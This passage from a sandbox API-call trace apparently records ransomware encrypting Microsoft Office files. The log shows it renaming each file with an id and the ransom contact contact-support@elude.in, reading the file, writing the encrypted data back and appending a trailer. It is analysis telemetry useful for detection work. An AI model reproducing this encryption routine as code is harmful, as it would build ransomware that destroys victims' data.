ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2072633e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3024, dwReserved0=0xa0c7496, dwReserved1=0x6fb7410, cFileName="PROTTPLV.PPT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PROTTP~3.FIR")) returned 0x6d5580 [0151.834] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0151.834] Sleep (dwMilliseconds=0x1) [0155.140] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap", len=0x65 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap") returned 1 [0155.140] GetProcessHeap () returned 0x630000 [0155.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0155.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\powerviewres.ca.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0155.141] CloseHandle (hObject=0x6f4) returned 1 [0155.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\powerviewres.ca.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\powerviewres.ca.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5440 [0155.144] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0155.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ca\\powerviewres.ca.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0155.144] GetProcessHeap () returned 0x630000 [0155.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71dd5f0 [0155.144] GetProcessHeap () returned 0x630000 [0155.144] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0155.145] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.145] ReadFile (in: hFile=0x6f4, lpBuffer=0x71dd5f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71dd5f0*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0161.965] GetProcessHeap () returned 0x630000 [0161.965] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176480 [0161.966] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.991] WriteFile (in: hFile=0x6f4, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0164.000] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.000] WriteFile (in: hFile=0x6f4, lpBuffer=0x728fadf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fadf*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0164.002] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.002] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0164.002] CloseHandle (hObject=0x6f4) returned 1 [0164.002] GetProcessHeap () returned 0x630000 [0164.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0164.002] GetProcessHeap () returned 0x630000 [0164.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71dd5f0 | out: hHeap=0x630000) returned 1 [0164.002] GetProcessHeap () returned 0x630000 [0164.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176480 | out: hHeap=0x630000) returned 1 [0164.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0164.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b3649c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0xa0c7496, dwReserved1=0x71dd5e8, cFileName="PowerViewRes.ca.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5440 [0164.002] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0164.002] Sleep (dwMilliseconds=0x1) [0164.010] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll") returned 1 [0164.010] GetProcessHeap () returned 0x630000 [0164.010] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c18) returned 0x707d3d0 [0164.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0165.537] CloseHandle (hObject=0x4c0) returned 1 [0165.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.538] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.450] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0168.451] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0168.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1057\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0168.451] GetProcessHeap () returned 0x630000 [0168.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0168.451] GetProcessHeap () returned 0x630000 [0168.451] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0168.451] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.451] ReadFile (in: hFile=0x4c0, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.864] GetProcessHeap () returned 0x630000 [0176.864] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0176.864] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.865] WriteFile (in: hFile=0x4c0, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.865] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.865] WriteFile (in: hFile=0x4c0, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.865] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.865] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.865] CloseHandle (hObject=0x4c0) returned 1 [0176.866] GetProcessHeap () returned 0x630000 [0176.866] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0176.979] GetProcessHeap () returned 0x630000 [0176.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0176.979] GetProcessHeap () returned 0x630000 [0176.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0177.050] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.050] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f5de37a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xa0c7496, dwReserved1=0x72e9d70, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5340 [0177.050] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.050] Sleep (dwMilliseconds=0x1) [0177.064] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD", len=0x41 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD") returned 1 [0177.065] GetProcessHeap () returned 0x630000 [0177.065] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b14) returned 0x707d3d0 [0177.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0177.089] CloseHandle (hObject=0x4c0) returned 1 [0177.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.121] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.121] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x487bc7b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x487bc7b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x487bc7b, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x722, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDERRL~1.FIR")) returned 0x6d52c0 [0177.121] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\wderrlnk.vrd.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0177.122] GetProcessHeap () returned 0x630000 [0177.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x67a7c0 [0177.122] GetProcessHeap () returned 0x630000 [0177.122] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x741) returned 0x713ced0 [0177.122] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.122] ReadFile (in: hFile=0x6c8, lpBuffer=0x67a7c0, nNumberOfBytesToRead=0x720, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67a7c0*, lpNumberOfBytesRead=0x523ff0c*=0x720, lpOverlapped=0x0) returned 1 [0177.186] GetProcessHeap () returned 0x630000 [0177.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0177.186] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.186] WriteFile (in: hFile=0x6c8, lpBuffer=0x713ced0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713ced0*, lpNumberOfBytesWritten=0x523ff0c*=0x720, lpOverlapped=0x0) returned 1 [0177.186] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.186] WriteFile (in: hFile=0x6c8, lpBuffer=0x713d5ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x713d5ef*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.186] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.186] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.186] CloseHandle (hObject=0x6c8) returned 1 [0177.186] GetProcessHeap () returned 0x630000 [0177.186] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x713ced0 | out: hHeap=0x630000) returned 1 [0177.186] GetProcessHeap () returned 0x630000 [0177.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67a7c0 | out: hHeap=0x630000) returned 1 [0177.187] GetProcessHeap () returned 0x630000 [0177.187] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0177.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x487bc7b, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x487bc7b, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2f8ff4f1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x746, dwReserved0=0xa0c7496, dwReserved1=0x778915ca, cFileName="WDERRLNK.VRD.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WDERRL~1.FIR")) returned 0x6d53c0 [0177.187] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0177.187] Sleep (dwMilliseconds=0x1) [0177.416] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT", len=0x46 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT") returned 1 [0177.416] GetProcessHeap () returned 0x630000 [0177.416] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ae4) returned 0x707d3d0 [0177.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.417] CloseHandle (hObject=0x678) returned 1 [0177.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.417] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.417] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x482f84d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI06B3~1.FIR")) returned 0x6d4f40 [0177.418] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_prm_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.418] GetProcessHeap () returned 0x630000 [0177.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6e78 [0177.418] GetProcessHeap () returned 0x630000 [0177.418] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6158 [0177.418] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.418] ReadFile (in: hFile=0x678, lpBuffer=0x71f6e78, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6e78*, lpNumberOfBytesRead=0x523ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.420] GetProcessHeap () returned 0x630000 [0177.420] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0177.420] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.420] WriteFile (in: hFile=0x678, lpBuffer=0x71f6158*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6158*, lpNumberOfBytesWritten=0x523ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.420] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) 